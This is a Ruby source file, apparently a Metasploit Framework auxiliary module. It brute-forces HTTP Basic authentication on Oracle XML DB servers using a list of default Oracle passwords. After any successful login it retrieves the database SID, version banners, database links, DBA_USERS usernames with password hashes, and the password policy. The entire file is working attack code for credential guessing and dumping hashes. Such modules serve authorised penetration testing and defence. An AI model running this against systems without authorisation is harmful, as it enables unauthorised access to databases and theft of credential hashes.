rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Oracle XML DB SID Discovery via Brute Force',
      'Description' => %q{
          This module attempts to retrieve the sid from the Oracle XML DB httpd server,
          utilizing Pete Finnigan's default oracle password list.
      },
      'References'  =>
        [
          [ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
          [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
        ],
      'Author'      => [ 'nebulus' ],
      'License'     => MSF_LICENSE
    )

    register_options(
        [
          OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
          Opt::RPORT(8080),
        ])
  end

  def run_host(ip)
    begin

    res = send_request_raw({
      'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
      'version' => '1.0',
      'method'  => 'GET'
    }, 5)
    return if not res

    if(res.code == 200)
      vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
      return
    elsif(res.code == 403 || res.code == 401)
      print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
    end

    list = datastore['CSVFILE']
    users = []

    fd = CSV.foreach(list) do |brute|

      dbuser = brute[2].downcase
      dbpass = brute[3].downcase
      user_pass = "#{dbuser}:#{dbpass}"

      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
        'version' => '1.0',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, 10)

      if( not res )
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
        next
      end
      if (res.code == 200)
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end
        sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
        report_note(
          :host => ip,
          :proto    => 'tcp',
          :port => datastore['RPORT'],
          :type => 'SERVICE_NAME',
          :data => sid,
          :update => :unique_data
        )
        print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
        users.push(user_pass)
      else
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
      end
    end #fd.each

    good = false
    users.each do |user_pass|
      (u,p) = user_pass.split(':')

      # get versions
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Version Information ==> as #{u}")
          doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
            p = e.elements['PRODUCT'].get_text
            v = e.elements['VERSION'].get_text
            s = e.elements['STATUS'].get_text
            report_note(
              :host => datastore['RHOST'],
              :sname => 'xdb',
              :proto => 'tcp',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{p}#{v}",
              :update => :unique_data
            )
            print_good("\t#{p}\t\t#{v}\t(#{s})")

          end
        end
      end

      # More version information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
            next if e.elements['BANNER'] == nil
            b = e.elements['BANNER'].get_text
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{b}",
              :update => :unique_data
            )
            print_good("\t#{b}")
          end
        end
      end

      # database links
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_DB_LINKS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Database Link Information ==> as #{u}")
          doc.elements.each('ALL_DB_LINKS/ROW') do |e|
            next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
            h = e.elements['HOST'].get_text
            d = e.elements['DB_LINK'].get_text
            us = e.elements['USERNAME'].get_text

            sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
            if(h.to_s.match(/^\(DESCRIPTION/) )
              h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
            end

            if(sid and sid != "")
              print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
              report_note(
                :host => h[0],
                :proto => 'tcp',
                :port => datastore['RPORT'],
                :sname => 'xdb',
                :type => 'oracle_sid',
                :data => sid,
                :update => :unique_data
              )
            else
              print_good("\tLink: #{d}\t#{us}\@#{h}")
            end
          end
        end
      end


      # get users
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/DBA_USERS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)
        print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")

        doc.elements.each('DBA_USERS/ROW') do |user|

          us = user.elements['USERNAME'].get_text
          h = user.elements['PASSWORD'].get_text
          as = user.elements['ACCOUNT_STATUS'].get_text
          print_good("\t#{us}:#{h}:#{as}")
          good = true
          if(as.to_s == "OPEN")
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Active Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          else
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Disabled Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          end
        end
      end

      # get password information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)

        print_good("Password Policy ==> as #{u}")
        fla=plit=pgt=prt=prm=plot=''
        doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
          next if e.elements['RESOURCE_NAME'] == nil

          case
            when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
              fla = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
              plit = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
              prt = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
              prm = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
              plot = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
              pgt = e.elements['LIMIT'].get_text
          end
        end

        print_good(
          "\tFailed Login Attempts: #{fla}\n\t" +
          "Password Life Time: #{plit}\n\t" +
          "Password Reuse Time: #{prt}\n\t" +
          "Password Reuse Max: #{prm}\n\t" +
          "Password Lock Time: #{plot}\n\t" +
          "Password Grace Time: #{pgt}"
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Maximum Reuse Time: #{prm}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Reuse Time: #{prt}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Life Time: #{plit}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Fail Logins Permitted: #{fla}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Lockout Time: #{plot}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Password Grace Time: #{pgt}",
          :update => :unique_data
        )
      end

      break if good
    end # users.each
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end